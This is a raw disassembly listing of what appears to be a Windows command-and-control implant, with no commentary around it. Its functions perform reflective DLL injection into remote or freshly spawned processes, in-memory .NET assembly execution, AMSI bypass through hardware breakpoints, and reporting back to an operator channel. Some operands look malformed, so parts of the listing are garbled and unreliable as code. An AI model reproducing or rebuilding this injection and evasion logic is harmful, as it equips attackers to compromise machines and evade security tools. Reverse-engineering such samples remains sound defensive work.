Similarity

140011270
140011270DllInjectReflective:
140011270push r15
140011272push r14
140011274push r13
140011276push r12
140011278mov r12l, r8l
14001127bmov r8l, 174
140011281push rbp
140011282mov rbp, r9
140011285push rdi
140011286lea rdi, [rip+0x19805]
14001128dpush rsi
14001128emov rsi, rdx
140011291lea rdx, [rip+0x1b698]
140011298push rbx
140011299sub rsp, 88
14001129dmov ebx, [rsp+192]
1400112a4mov rax, [rsp+216]
1400112acmov [rsp+32], r9
1400112b1mov r9, rcx
1400112b4mov [rsp+160], rcx
1400112bclea rcx, [rip+0x19b40]
1400112c3mov [rsp+48], rax
1400112c8mov [rsp+40], ebx
1400112cccall printf
1400112d1mov rax, [rip+0x1b098]
1400112d8xor ecx, ecx
1400112datest rbp, rbp
1400112ddmov [rsp+72], rcx
1400112e2mov r13w, [rax+88]
1400112e7sete al
1400112eatest ebx, ebx
1400112ecsete dl
1400112efor al, dl
1400112f1jne 0x1400112fe
1400112f3cmp [rsp+160], 0
1400112fcjne 0x140011323
1400112fe
1400112feloc_1400112fe:
1400112felea r9, [rip+0x19b35]
140011305mov r8l, 192
14001130bmov rcx, rdi
14001130eor r12l, -1
140011312lea rdx, [rip+0x1b617]
140011319call printf
14001131ejmp 0x1400117a3
140011323
140011323loc_140011323:
140011323mov rcx, [rsp+160]
14001132bcall ProcessIsWow
140011330mov rcx, rbp
140011333test eax, eax
140011335je 0x14001136a
140011337call GetPeArch
14001133cxor r13l, r13l
14001133fdec eax
140011341je 0x1400113a9
140011343lea r9, [rip+0x19aff]
14001134amov r8l, 202
140011350lea rdx, [rip+0x1b5d9]
140011357mov rcx, rdi
14001135acall printf
14001135fmov r12l, 4097
140011365jmp 0x1400117a3
14001136a
14001136aloc_14001136a:
14001136acall GetPeArch
14001136fcmp eax, 2
140011372jne 0x140011382
140011374test r13w, r13w
140011378setne r13b
14001137cmovzx r13l, r13b
140011380jmp 0x1400113a9
140011382
140011382loc_140011382:
140011382lea r9, [rip+0x19b01]
140011389mov r8l, 210
14001138flea rdx, [rip+0x1b59a]
140011396mov rcx, rdi
140011399call printf
14001139emov r12l, 4098
1400113a4jmp 0x1400117a3
1400113a9
1400113a9loc_1400113a9:
1400113a9mov rcx, rbp
1400113accall GetReflectiveLoaderOffset
1400113b1mov r15l, eax
1400113b4test r15l, r15l
1400113b7je 0x1400113dc
1400113b9mov rcx, rdi
1400113bclea r9, [rip+0x19b08]
1400113c3mov r8l, 216
1400113c9mov edi, 1
1400113celea rdx, [rip+0x1b55b]
1400113d5call printf
1400113dajmp 0x14001142c
1400113dc
1400113dcloc_1400113dc:
1400113dclea r9, [rip+0x19b18]
1400113e3mov r8l, 221
1400113e9lea rdx, [rip+0x1b540]
1400113f0lea rcx, [rip+0x1969b]
1400113f7call printf
1400113fcmov rax, [rip+0x1af6d]
140011403lea edx, [rbx+r12]
140011407mov ecx, 64
14001140cmov r14, rdx
14001140fcall [rax+932]
140011415mov ecx, r12l
140011418mov rdi, rax
14001141brep movsb [rdi], [rsi]
14001141dmov ecx, ebx
14001141fmov rsi, rbp
140011422mov ebx, r14l
140011425mov rbp, rax
140011428rep movsb [rdi], [rsi]
14001142axor edi, edi
14001142c
14001142cloc_14001142c:
14001142cmov r9l, r15l
14001142fmov r8l, 229
140011435lea rdx, [rip+0x1b4f4]
14001143clea rcx, [rip+0x19af9]
140011443call printf
140011448mov rax, [rsp+200]
140011450mov r9, [rsp+208]
140011458mov r8l, 232
14001145elea rdx, [rip+0x1b4cb]
140011465lea rcx, [rip+0x19b00]
14001146cmov [rsp+32], rax
140011471call printf
140011476cmp [rsp+208], 0
14001147fje 0x14001157f
140011485mov r8, [rsp+208]
14001148dmov rdx, [rsp+160]
140011495mov r9l, 4
14001149bxor ecx, ecx
14001149dcall MemoryAlloc
1400114a2mov rsi, rax
1400114a5test rax, rax
1400114a8je 0x14001153b
1400114aemov r9, rax
1400114b1mov r8l, 238
1400114b7lea rdx, [rip+0x1b472]
1400114belea rcx, [rip+0x19ad7]
1400114c5call printf
1400114calea rax, [rsp+72]
1400114cfmov rdx, rsi
1400114d2mov rcx, [rsp+160]
1400114damov [rsp+32], rax
1400114dfmov r9, [rsp+208]
1400114e7mov r8, [rsp+200]
1400114efcall SysNtWriteVirtualMemory
1400114f4lea rcx, [rip+0x19597]
1400114fbtest eax, eax
1400114fdmov r12l, eax
140011500jns 0x140011520
140011502lea r9, [rip+0x19ae3]
140011509mov r8l, 242
14001150flea rdx, [rip+0x1b41a]
140011516call printf
14001151bjmp 0x140011727
140011520
140011520loc_140011520:
140011520lea r9, [rip+0x19b01]
140011527mov r8l, 248
14001152dlea rdx, [rip+0x1b3fc]
140011534call printf
140011539jmp 0x140011581
14001153b
14001153bloc_14001153b:
14001153blea rdx, [rip+0x1b3ee]
140011542lea r9, [rip+0x19b12]
140011549mov r8l, 252
14001154flea rcx, [rip+0x1953c]
140011556call printf
14001155bmov rax, [rip+0x1ae0e]
140011562xor ecx, ecx
140011564call [rax+348]
14001156amov edx, eax
14001156c
14001156cloc_14001156c:
14001156cmov ecx, 1
140011571call PackageTransmitError
140011576
140011576loc_140011576:
140011576or r12l, -1
14001157ajmp 0x140011775
14001157f
14001157floc_14001157f:
14001157fxor esi, esi
140011581
140011581loc_140011581:
140011581mov rdx, [rsp+160]
140011589mov r12l, ebx
14001158cmov r9l, 4
140011592xor ecx, ecx
140011594mov r8, r12
140011597call MemoryAlloc
14001159cmov r14, rax
14001159ftest rax, rax
1400115a2je 0x140011745
1400115a8lea r9, [rip+0x19aee]
1400115afmov r8l, 263
1400115b5lea rdx, [rip+0x1b374]
1400115bclea rcx, [rip+0x194cf]
1400115c3call printf
1400115c8lea rax, [rsp+72]
1400115cdmov r9, r12
1400115d0mov r8, rbp
1400115d3mov [rsp+32], rax
1400115d8mov rcx, [rsp+160]
1400115e0mov rdx, r14
1400115e3call SysNtWriteVirtualMemory
1400115e8mov r12l, eax
1400115ebtest eax, eax
1400115edjs 0x14001170b
1400115f3mov r9, r14
1400115f6mov r8l, 267
1400115fclea rdx, [rip+0x1b32d]
140011603lea rcx, [rip+0x19ab8]
14001160acall printf
14001160fxor edx, edx
140011611mov r8, r14
140011614mov r9l, 16384
14001161amov [rsp+32], 32
140011622and r8, -8192
140011629mov ecx, 2
14001162emov [rsp+72], rdx
140011633mov rdx, [rsp+160]
14001163bcall MemoryProtect
140011640test eax, eax
140011642je 0x1400116d5
140011648mov rax, [rsp+216]
140011650mov r9, rsi
140011653mov r8l, 278
140011659lea rdx, [rip+0x1b2d0]
140011660lea rcx, [rip+0x19a97]
140011667xor r12l, r12l
14001166amov [rax+34], rsi
14001166ecall printf
140011673xor eax, eax
140011675mov [rsp+32], rsi
14001167alea r9, [r14+r15]
14001167emov [rsp+40], rax
140011683mov rdx, [rsp+160]
14001168bmov r8l, r13l
14001168emov ecx, 2
140011693call ThreadCreate
140011698test rax, rax
14001169bjne 0x140011775
1400116a1mov rsi, [rip+0x1acc8]
1400116a8mov r8l, 282
1400116aelea rdx, [rip+0x1b27b]
1400116b5lea rcx, [rip+0x19a66]
1400116bcmov rax, [rsi+2230]
1400116c3mov r9l, [rax+104]
1400116c7call printf
1400116ccmov rax, [rsi+2230]
1400116d3jmp 0x140011703
1400116d5
1400116d5loc_1400116d5:
1400116d5lea r9, [rip+0x19a73]
1400116dcmov r8l, 293
1400116e2lea rdx, [rip+0x1b247]
1400116e9lea rcx, [rip+0x193a2]
1400116f0call printf
1400116f5mov rax, [rip+0x1ac74]
1400116fcmov rax, [rax+2230]
140011703
140011703loc_140011703:
140011703mov edx, [rax+104]
140011706jmp 0x14001156c
14001170b
14001170bloc_14001170b:
14001170bmov r9l, eax
14001170emov r8l, 301
140011714lea rdx, [rip+0x1b215]
14001171blea rcx, [rip+0x19a50]
140011722call printf
140011727
140011727loc_140011727:
140011727mov rax, [rip+0x1ac42]
14001172emov ecx, r12l
140011731call [rax+348]
140011737mov ecx, 1
14001173cmov edx, eax
14001173ecall PackageTransmitError
140011743jmp 0x140011775
140011745
140011745loc_140011745:
140011745mov rax, [rip+0x1ac24]
14001174cmov r8l, 308
140011752lea rdx, [rip+0x1b1d7]
140011759lea rcx, [rip+0x19a61]
140011760mov rax, [rax+2230]
140011767mov r9l, [rax+104]
14001176bcall printf
140011770jmp 0x140011576
140011775
140011775loc_140011775:
140011775dec edi
140011777je 0x1400117a3
140011779mov ecx, ebx
14001177bmov rdi, rbp
14001177exor eax, eax
140011780rep stosb [rdi], al
140011782mov rax, [rip+0x1abe7]
140011789mov r8, rbp
14001178cmov rdx, [rax+2230]
140011793mov rdx, [rdx+96]
140011797mov rcx, [rdx+48]
14001179bxor edx, edx
14001179dcall [rax+332]
1400117a3
1400117a3loc_1400117a3:
1400117a3add rsp, 88
1400117a7mov eax, r12l
1400117aapop rbx
1400117abpop rsi
1400117acpop rdi
1400117adpop rbp
1400117aepop r12
1400117b0pop r13
1400117b2pop r14
1400117b4pop r15
1400117b6ret
140011270

1400117b7
1400117b7 // align 0x10

1400117c0
1400117c0DllSpawnReflective:
1400117c0push r15
1400117c2push r14
1400117c4lea r14, [rip+0x1af65]
1400117cbpush r13
1400117cdmov r13l, edx
1400117d0mov rdx, r14
1400117d3push r12
1400117d5mov r12, rcx
1400117d8lea rcx, [rip+0x19a11]
1400117dfpush rbp
1400117e0mov ebp, r9l
1400117e3push rdi
1400117e4push rsi
1400117e5mov rsi, r8
1400117e8push rbx
1400117e9mov ebx, 4099
1400117eesub rsp, 104
1400117f2mov r15, [rsp+224]
1400117famov [rsp+32], r9l
1400117ffmov r9, r8
140011802mov r8l, 324
140011808lea rdi, [rsp+72]
14001180dmov [rsp+40], r15
140011812call printf
140011817xor eax, eax
140011819mov ecx, 6
14001181erep stosd [rdi], eax
140011820mov rcx, rsi
140011823call GetPeArch
140011828mov r9l, 0x8000004
14001182emov ecx, 1
140011833mov edx, eax
140011835mov rax, [rip+0x1ab34]
14001183cdec edx
14001183emov r8, [rax+264]
140011845cmovne r8, [rax+256]
14001184dxor eax, eax
14001184fmov [rsp+40], 1
140011857mov [rsp+48], rax
14001185clea rax, [rsp+72]
140011861xor edx, edx
140011863mov [rsp+32], rax
140011868call ProcessCreate
14001186dtest eax, eax
14001186fje 0x1400118e9
140011871mov [rsp+56], r15
140011876mov rcx, [rsp+72]
14001187bmov r9, rsi
14001187emov r8l, r13l
140011881mov rax, [rsp+216]
140011889mov [rsp+32], ebp
14001188dmov rdx, r12
140011890mov [rsp+48], rax
140011895mov rax, [rsp+208]
14001189dmov [rsp+40], rax
1400118a2call DllInjectReflective
1400118a7mov ebx, eax
1400118a9test eax, eax
1400118abje 0x1400118e9
1400118adlea r9, [rip+0x19962]
1400118b4mov r8l, 343
1400118bamov rdx, r14
1400118bdlea rcx, [rip+0x191ce]
1400118c4call printf
1400118c9mov rcx, [rsp+72]
1400118cexor edx, edx
1400118d0call ProcessTerminate
1400118d5mov rcx, [rsp+72]
1400118dacall SysNtClose
1400118dfmov rcx, [rsp+80]
1400118e4call SysNtClose
1400118e9
1400118e9loc_1400118e9:
1400118e9add rsp, 104
1400118edmov eax, ebx
1400118efpop rbx
1400118f0pop rsi
1400118f1pop rdi
1400118f2pop rbp
1400118f3pop r12
1400118f5pop r13
1400118f7pop r14
1400118f9pop r15
1400118fbret
1400117c0

1400118fc
1400118fc // align 0x10

140011900
140011900DnsQueryIPv4:
140011900push rdi
140011901xor eax, eax
140011903push rsi
140011904mov rsi, rcx
140011907mov ecx, 12
14001190cpush rbx
14001190dadd rsp, -128
140011911lea rdi, [rsp+80]
140011916rep stosd [rdi], eax
140011918xor eax, eax
14001191amov [rsp+72], rax
14001191fcall InitWSA
140011924test eax, eax
140011926je 0x140011980
140011928xor edx, edx
14001192alea r9, [rsp+72]
14001192flea r8, [rsp+80]
140011934mov rcx, rsi
140011937mov rdi, [rip+0x1aa32]
14001193emov [rsp+84], 2
140011946mov rax, 0x600000001
140011950mov [rsp+88], rax
140011955call [rdi+1940]
14001195blea rdx, [rip+0x1af1e]
140011962test eax, eax
140011964mov r9l, eax
140011967je 0x140011984
140011969mov [rsp+32], rsi
14001196emov r8l, 557
140011974lea rcx, [rip+0x17702]
14001197bcall printf
140011980
140011980loc_140011980:
140011980xor ebx, ebx
140011982jmp 0x1400119d5
140011984
140011984loc_140011984:
140011984mov rcx, [rsp+72]
140011989mov rax, [rcx+32]
14001198dmov ebx, [rax+4]
140011990call [rdi+1948]
140011996mov r9, rsi
140011999mov r8l, 565
14001199flea rdx, [rip+0x1aeda]
1400119a6mov eax, ebx
1400119a8lea rcx, [rip+0x17701]
1400119afshr eax, 24
1400119b2mov [rsp+56], eax
1400119b6mov eax, ebx
1400119b8shr eax, 16
1400119bbmovzx eax, al
1400119bemov [rsp+48], eax
1400119c2movzx eax, bh
1400119c5mov [rsp+40], eax
1400119c9movzx eax, bl
1400119ccmov [rsp+32], eax
1400119d0call printf
1400119d5
1400119d5loc_1400119d5:
1400119d5sub rsp, -128
1400119d9mov eax, ebx
1400119dbpop rbx
1400119dcpop rsi
1400119ddpop rdi
1400119deret
140011900

1400119df
1400119df // align 0x10

1400119e0
1400119e0DnsQueryIPv6:
1400119e0push rbp
1400119e1xor eax, eax
1400119e3mov rbp, rsp
1400119e6push r12
1400119e8push rdi
1400119e9push rsi
1400119eamov rsi, rcx
1400119edmov ecx, 12
1400119f2push rbx
1400119f3and rsp, -16
1400119f7sub rsp, 224
1400119felea rdi, [rsp+176]
140011a06rep stosd [rdi], eax
140011a08xor eax, eax
140011a0amov [rsp+168], rax
140011a12call InitWSA
140011a17test eax, eax
140011a19je 0x140011a82
140011a1bmov rdi, [rip+0x1a94e]
140011a22lea r9, [rsp+168]
140011a2axor edx, edx
140011a2cmov rcx, rsi
140011a2flea r8, [rsp+176]
140011a37lea r12, [rip+0x1ac42]
140011a3emov rax, 0x600000001
140011a48mov [rsp+180], 23
140011a53mov [rsp+184], rax
140011a5bcall [rdi+1940]
140011a61test eax, eax
140011a63mov r9l, eax
140011a66je 0x140011a89
140011a68mov [rsp+32], rsi
140011a6dmov r8l, 598
140011a73mov rdx, r12
140011a76lea rcx, [rip+0x17600]
140011a7dcall printf
140011a82
140011a82loc_140011a82:
140011a82xor ebx, ebx
140011a84jmp 0x140011b58
140011a89
140011a89loc_140011a89:
140011a89mov edx, 16
140011a8emov ecx, 64
140011a93call [rdi+932]
140011a99mov rcx, [rsp+168]
140011aa1mov rbx, rax
140011aa4mov rax, [rcx+32]
140011aa8movups x0, [rax+8]
140011aacmovups [rbx], x0
140011aafcall [rdi+1948]
140011ab5movzx eax, [rbx+15]
140011ab9mov r9, rsi
140011abcmov rdx, r12
140011abfmov r8l, 609
140011ac5lea rcx, [rip+0x17612]
140011accmov [rsp+152], eax
140011ad3movzx eax, [rbx+14]
140011ad7mov [rsp+144], eax
140011ademovzx eax, [rbx+13]
140011ae2mov [rsp+136], eax
140011ae9movzx eax, [rbx+12]
140011aedmov [rsp+128], eax
140011af4movzx eax, [rbx+11]
140011af8mov [rsp+120], eax
140011afcmovzx eax, [rbx+10]
140011b00mov [rsp+112], eax
140011b04movzx eax, [rbx+9]
140011b08mov [rsp+104], eax
140011b0cmovzx eax, [rbx+8]
140011b10mov [rsp+96], eax
140011b14movzx eax, [rbx+7]
140011b18mov [rsp+88], eax
140011b1cmovzx eax, [rbx+6]
140011b20mov [rsp+80], eax
140011b24movzx eax, [rbx+5]
140011b28mov [rsp+72], eax
140011b2cmovzx eax, [rbx+4]
140011b30mov [rsp+64], eax
140011b34movzx eax, [rbx+3]
140011b38mov [rsp+56], eax
140011b3cmovzx eax, [rbx+2]
140011b40mov [rsp+48], eax
140011b44movzx eax, [rbx+1]
140011b48mov [rsp+40], eax
140011b4cmovzx eax, [rbx]
140011b4fmov [rsp+32], eax
140011b53call printf
140011b58
140011b58loc_140011b58:
140011b58lea rsp, [rbp-32]
140011b5cmov rax, rbx
140011b5fpop rbx
140011b60pop rsi
140011b61pop rdi
140011b62pop r12
140011b64pop rbp
140011b65ret
1400119e0

140011b66
140011b66 // align 0x10

140011b70
140011b70DotnetClose:
140011b70push rbp
140011b71push rdi
140011b72push rsi
140011b73push rbx
140011b74sub rsp, 40
140011b78mov rbx, [rip+0x1a7f1]
140011b7fcmp [rbx+223], 1
140011b86jne 0x140011b8f
140011b88xor ecx, ecx
140011b8acall HwBpEngineDestroy
140011b8f
140011b8floc_140011b8f:
140011b8fmov rax, [rbx+2266]
140011b96mov rcx, [rax+104]
140011b9atest rcx, rcx
140011b9dje 0x140011ba4
140011b9fcall SysNtClose
140011ba4
140011ba4loc_140011ba4:
140011ba4mov rax, [rbx+2266]
140011babmov rcx, [rax+72]
140011baftest rcx, rcx
140011bb2je 0x140011bb9
140011bb4call SysNtClose
140011bb9
140011bb9loc_140011bb9:
140011bb9mov rax, [rbx+2266]
140011bc0mov rcx, [rax+80]
140011bc4test rcx, rcx
140011bc7je 0x140011bce
140011bc9call SysNtClose
140011bce
140011bceloc_140011bce:
140011bcemov rax, [rbx+2266]
140011bd5mov rdi, [rax+264]
140011bdctest rdi, rdi
140011bdfje 0x140011c0f
140011be1mov ecx, 1232
140011be6xor eax, eax
140011be8rep stosb [rdi], al
140011beamov rax, [rbx+2266]
140011bf1mov rcx, [rax+264]
140011bf8call [rbx+940]
140011bfemov rax, [rbx+2266]
140011c05xor r8l, r8l
140011c08mov [rax+264], r8
140011c0f
140011c0floc_140011c0f:
140011c0fmov rax, [rbx+2266]
140011c16mov rdi, [rax+272]
140011c1dtest rdi, rdi
140011c20je 0x140011c4f
140011c22mov ecx, 1232
140011c27xor eax, eax
140011c29rep stosb [rdi], al
140011c2bmov rax, [rbx+2266]
140011c32mov rcx, [rax+272]
140011c39call [rbx+940]
140011c3fmov rax, [rbx+2266]
140011c46xor ecx, ecx
140011c48mov [rax+272], rcx
140011c4f
140011c4floc_140011c4f:
140011c4fmov rax, [rbx+2266]
140011c56mov rdi, [rax+280]
140011c5dtest rdi, rdi
140011c60je 0x140011c8f
140011c62mov ecx, 1232
140011c67xor eax, eax
140011c69rep stosb [rdi], al
140011c6bmov rax, [rbx+2266]
140011c72mov rcx, [rax+280]
140011c79call [rbx+940]
140011c7fmov rax, [rbx+2266]
140011c86xor edx, edx
140011c88mov [rax+280], rdx
140011c8f
140011c8floc_140011c8f:
140011c8fmov rax, [rbx+2266]
140011c96mov rdi, [rax+288]
140011c9dtest rdi, rdi
140011ca0je 0x140011ccf
140011ca2mov ecx, 1232
140011ca7xor eax, eax
140011ca9rep stosb [rdi], al
140011cabmov rax, [rbx+2266]
140011cb2xor ebp, ebp
140011cb4mov rcx, [rax+288]
140011cbbcall [rbx+940]
140011cc1mov rax, [rbx+2266]
140011cc8mov [rax+288], rbp
140011ccf
140011ccfloc_140011ccf:
140011ccflea rbp, [rip+0x1aaea]
140011cd6lea rsi, [rip+0x15979]
140011cddmov r8l, 445
140011ce3lea r9, [rip+0x15960]
140011ceamov rdx, rbp
140011cedmov rcx, rsi
140011cf0call printf
140011cf5mov rax, [rbx+2266]
140011cfcmov rdi, [rax+56]
140011d00test rdi, rdi
140011d03je 0x140011d2a
140011d05mov ecx, [rax+64]
140011d08xor eax, eax
140011d0arep stosb [rdi], al
140011d0cmov rax, [rbx+2266]
140011d13xor edi, edi
140011d15mov rcx, [rax+56]
140011d19call [rbx+940]
140011d1fmov rax, [rbx+2266]
140011d26mov [rax+56], rdi
140011d2a
140011d2aloc_140011d2a:
140011d2amov rcx, rsi
140011d2dlea r9, [rip+0x15936]
140011d34mov r8l, 453
140011d3amov rdx, rbp
140011d3dcall printf
140011d42mov rax, [rbx+2266]
140011d49mov rcx, [rax+144]
140011d50test rcx, rcx
140011d53je 0x140011d6b
140011d55call [rbx+1324]
140011d5bmov rax, [rbx+2266]
140011d62xor esi, esi
140011d64mov [rax+144], rsi
140011d6b
140011d6bloc_140011d6b:
140011d6bmov rax, [rbx+2266]
140011d72mov rcx, [rax+200]
140011d79test rcx, rcx
140011d7cje 0x140011d95
140011d7emov rax, [rcx]
140011d81call [rax+16]
140011d84mov rax, [rbx+2266]
140011d8bxor r11l, r11l
140011d8emov [rax+200], r11
140011d95
140011d95loc_140011d95:
140011d95mov rax, [rbx+2266]
140011d9cmov rcx, [rax+176]
140011da3test rcx, rcx
140011da6je 0x140011dbf
140011da8mov rax, [rcx]
140011dabcall [rax+16]
140011daemov rax, [rbx+2266]
140011db5xor r10l, r10l
140011db8mov [rax+176], r10
140011dbf
140011dbfloc_140011dbf:
140011dbfmov rax, [rbx+2266]
140011dc6mov rcx, [rax+192]
140011dcdtest rcx, rcx
140011dd0je 0x140011de9
140011dd2mov rax, [rcx]
140011dd5call [rax+16]
140011dd8mov rax, [rbx+2266]
140011ddfxor r9l, r9l
140011de2mov [rax+192], r9
140011de9
140011de9loc_140011de9:
140011de9mov rax, [rbx+2266]
140011df0mov rcx, [rax+184]
140011df7test rcx, rcx
140011dfaje 0x140011e02
140011dfcmov rax, [rcx]
140011dffcall [rax+16]
140011e02
140011e02loc_140011e02:
140011e02mov rax, [rbx+2266]
140011e09mov rcx, [rax+168]
140011e10test rcx, rcx
140011e13je 0x140011e4a
140011e15mov rdx, [rax+184]
140011e1cmov rax, [rcx]
140011e1fcall [rax+160]
140011e25mov rax, [rbx+2266]
140011e2cmov rcx, [rax+168]
140011e33mov rax, [rcx]
140011e36call [rax+88]
140011e39mov rax, [rbx+2266]
140011e40xor r8l, r8l
140011e43mov [rax+168], r8
140011e4a
140011e4aloc_140011e4a:
140011e4amov rax, [rbx+2266]
140011e51mov rcx, [rax+160]
140011e58test rcx, rcx
140011e5bje 0x140011e73
140011e5dmov rax, [rcx]
140011e60call [rax+16]
140011e63mov rax, [rbx+2266]
140011e6axor ecx, ecx
140011e6cmov [rax+160], rcx
140011e73
140011e73loc_140011e73:
140011e73mov rax, [rbx+2266]
140011e7amov rcx, [rax+152]
140011e81test rcx, rcx
140011e84je 0x140011e9c
140011e86mov rax, [rcx]
140011e89call [rax+16]
140011e8cmov rax, [rbx+2266]
140011e93xor edx, edx
140011e95mov [rax+152], rdx
140011e9c
140011e9cloc_140011e9c:
140011e9cmov rax, [rbx+2266]
140011ea3mov rcx, [rax+96]
140011ea7test rcx, rcx
140011eaaje 0x140011ec3
140011eacxor edx, edx
140011eaecall SysNtTerminateThread
140011eb3mov rax, [rbx+2266]
140011ebamov rcx, [rax+96]
140011ebecall SysNtClose
140011ec3
140011ec3loc_140011ec3:
140011ec3mov rax, [rbx+2266]
140011ecamov rcx, [rax+112]
140011ecetest rcx, rcx
140011ed1je 0x140011ed8
140011ed3call SysNtClose
140011ed8
140011ed8loc_140011ed8:
140011ed8mov rdi, [rbx+2266]
140011edftest rdi, rdi
140011ee2je 0x140011f14
140011ee4mov ecx, 296
140011ee9xor eax, eax
140011eebrep stosb [rdi], al
140011eedmov rax, [rbx+2230]
140011ef4mov r8, [rbx+2266]
140011efbxor edx, edx
140011efdmov rax, [rax+96]
140011f01mov rcx, [rax+48]
140011f05call [rbx+332]
140011f0bxor eax, eax
140011f0dmov [rbx+2266], rax
140011f14
140011f14loc_140011f14:
140011f14add rsp, 40
140011f18pop rbx
140011f19pop rsi
140011f1apop rdi
140011f1bpop rbp
140011f1cret
140011b70

140011f1d
140011f1d // align 0x10

140011f20
140011f20DotnetExecute:
140011f20push rbp
140011f21xor r11l, r11l
140011f24xor eax, eax
140011f26mov rbp, rsp
140011f29push r15
140011f2bpush r14
140011f2dpush r13
140011f2fpush r12
140011f31push rdi
140011f32push rsi
140011f33push rbx
140011f34xor ebx, ebx
140011f36and rsp, -16
140011f3asub rsp, 176
140011f41mov r13, [rcx+8]
140011f45mov rsi, [rcx]
140011f48mov ecx, 6
140011f4dlea rdi, [rsp+152]
140011f55mov [rsp+116], ebx
140011f59mov r14, [rdx]
140011f5crep stosd [rdi], eax
140011f5emov [rsp+128], r11
140011f66mov [rsp+136], r11
140011f6emov [rsp+144], r11
140011f76mov [rsp+120], ebx
140011f7atest r13l, r13l
140011f7dje 0x14001201f
140011f83test rsi, rsi
140011f86je 0x14001201f
140011f8cmov rbx, [rip+0x1a3dd]
140011f93xor r9l, r9l
140011f96xor r10l, r10l
140011f99mov r8l, 4
140011f9fmov edx, 0x80003
140011fa4mov rdi, [rbx+2266]
140011fabmov rcx, [rdi+8]
140011fafmov [rsp+56], r9
140011fb4mov r9l, 255
140011fbamov [rsp+48], r10l
140011fbfmov [rsp+40], 0x50000
140011fc7mov [rsp+32], 0x50000
140011fcfcall [rbx+844]
140011fd5mov [rdi+72], rax
140011fd9mov rdi, [rbx+2266]
140011fe0cmp [rdi+72], 0
140011fe5jne 0x140012026
140011fe7mov rax, [rbx+2230]
140011feemov r8l, 48
140011ff4lea rdx, [rip+0x1b115]
140011ffblea rcx, [rip+0x1590e]
140012002mov r9l, [rax+104]
140012006
140012006loc_140012006:
140012006call printf
14001200bmov rax, [rbx+2230]
140012012mov ecx, 1
140012017mov edx, [rax+104]
14001201acall PackageTransmitError
14001201f
14001201floc_14001201f:
14001201fxor eax, eax
140012021jmp 0x1400126a3
140012026
140012026loc_140012026:
140012026xor r8l, r8l
140012029mov rcx, [rdi+8]
14001202dxor r9l, r9l
140012030mov edx, 0x40000000
140012035mov [rsp+48], r8
14001203amov r8l, 1
140012040mov [rsp+40], 128
140012048mov [rsp+32], 3
140012050call [rbx+812]
140012056mov [rdi+80], rax
14001205atest rax, rax
14001205djne 0x140012080
14001205fmov rax, [rbx+2230]
140012066mov r8l, 56
14001206clea rdx, [rip+0x1b09d]
140012073lea rcx, [rip+0x158ca]
14001207amov r9l, [rax+104]
14001207ejmp 0x140012006
140012080
140012080loc_140012080:
140012080call [rbx+1652]
140012086test rax, rax
140012089jne 0x1400120a7
14001208bcall [rbx+1636]
140012091call [rbx+1652]
140012097mov rcx, rax
14001209atest rax, rax
14001209dje 0x1400120a7
14001209fxor edx, edx
1400120a1call [rbx+1660]
1400120a7
1400120a7loc_1400120a7:
1400120a7mov rax, [rbx+2266]
1400120aelea r12, [rip+0x155a1]
1400120b5mov rcx, [rax+40]
1400120b9lea rdx, [rax+152]
1400120c0lea r9, [rax+168]
1400120c7lea r8, [rax+160]
1400120cecall ClrCreateInstance
1400120d3test eax, eax
1400120d5jne 0x1400120f8
1400120d7lea r9, [rip+0x15895]
1400120demov r8l, 75
1400120e4lea rdx, [rip+0x1b025]
1400120ebmov rcx, r12
1400120eecall printf
1400120f3jmp 0x14001201f
1400120f8
1400120f8loc_1400120f8:
1400120f8cmp [rbx+223], 1
1400120ffjne 0x140012249
140012105lea r9, [rip+0x1587a]
14001210cmov r8l, 108
140012112mov rcx, r12
140012115mov edi, 1
14001211alea rdx, [rip+0x1afef]
140012121call printf
140012126mov rax, [rbx+2266]
14001212dmov ecx, 8193
140012132mov edx, [rax]
140012134call PackageCreateWithRequestID
140012139mov edx, 1
14001213emov rcx, rax
140012141mov [rsp+72], rax
140012146call PackageAddInt32
14001214bcmp [rbx+2214], 0
140012153jne 0x14001215c
140012155call RtAmsi
14001215amov edi, eax
14001215c
14001215cloc_14001215c:
14001215clea rdx, [rip+0x1afad]
140012163mov rcx, r12
140012166lea r9, [rip+0x15835]
14001216dmov r8l, 119
140012173call printf
140012178xor edx, edx
14001217axor ecx, ecx
14001217ccall HwBpEngineInit
140012181test eax, eax
140012183js 0x14001201f
140012189mov rax, [rbx+2230]
140012190mov r15l, [rax+72]
140012194test edi, edi
140012196je 0x1400121e3
140012198lea r9, [rip+0x15814]
14001219fmov r8l, 130
1400121a5lea rdx, [rip+0x1af64]
1400121acmov rcx, r12
1400121afcall printf
1400121b4xor edx, edx
1400121b6mov r8, [rbx+2020]
1400121bdxor ecx, ecx
1400121bfmov [rsp+32], edx
1400121c3lea r9, [rip+15062]
1400121camov edx, r15l
1400121cdcall HwBpEngineAdd
1400121d2mov edi, eax
1400121d4test eax, eax
1400121d6jns 0x1400121e3
1400121d8mov r9l, eax
1400121dbmov r8l, 132
1400121e1jmp 0x14001222c
1400121e3
1400121e3loc_1400121e3:
1400121e3lea r9, [rip+0x1582d]
1400121eamov r8l, 138
1400121f0lea rdx, [rip+0x1af19]
1400121f7mov rcx, r12
1400121facall printf
1400121ffmov r8, [rbx+748]
140012206xor ecx, ecx
140012208mov edx, r15l
14001220bmov [rsp+32], 1
140012213lea r9, [rip+15046]
14001221acall HwBpEngineAdd
14001221ftest eax, eax
140012221jns 0x14001223f
140012223mov r9l, edi
140012226mov r8l, 140
14001222c
14001222cloc_14001222c:
14001222clea rdx, [rip+0x1aedd]
140012233lea rcx, [rip+0x1579f]
14001223ajmp 0x14001267e
14001223f
14001223floc_14001223f:
14001223fmov rcx, [rsp+72]
140012244call PackageTransmit
140012249
140012249loc_140012249:
140012249mov rax, [rbx+2266]
140012250mov ecx, 8193
140012255mov edx, [rax]
140012257call PackageCreateWithRequestID
14001225cmov edx, 2
140012261mov rcx, rax
140012264mov rdi, rax
140012267call PackageAddInt32
14001226cmov rax, [rbx+2266]
140012273mov rcx, rdi
140012276mov rdx, [rax+40]
14001227amov r8l, [rax+48]
14001227ecall PackageAddBytes
140012283mov rcx, rdi
140012286call PackageTransmit
14001228bmov rdi, [rbx+2266]
140012292xor eax, eax
140012294lea r8, [rsp+128]
14001229cmov edx, 1
1400122a1mov ecx, 17
1400122a6mov [rsp+128], r13l
1400122aemov [rsp+132], eax
1400122b5call [rbx+1300]
1400122bblea r9, [rip+0x15779]
1400122c2mov r8l, 165
1400122c8mov rcx, r12
1400122cbmov [rdi+136], rax
1400122d2lea rdx, [rip+0x1ae37]
1400122d9call printf
1400122demov rax, [rbx+2266]
1400122e5xor r8l, r8l
1400122e8mov rcx, [rax+168]
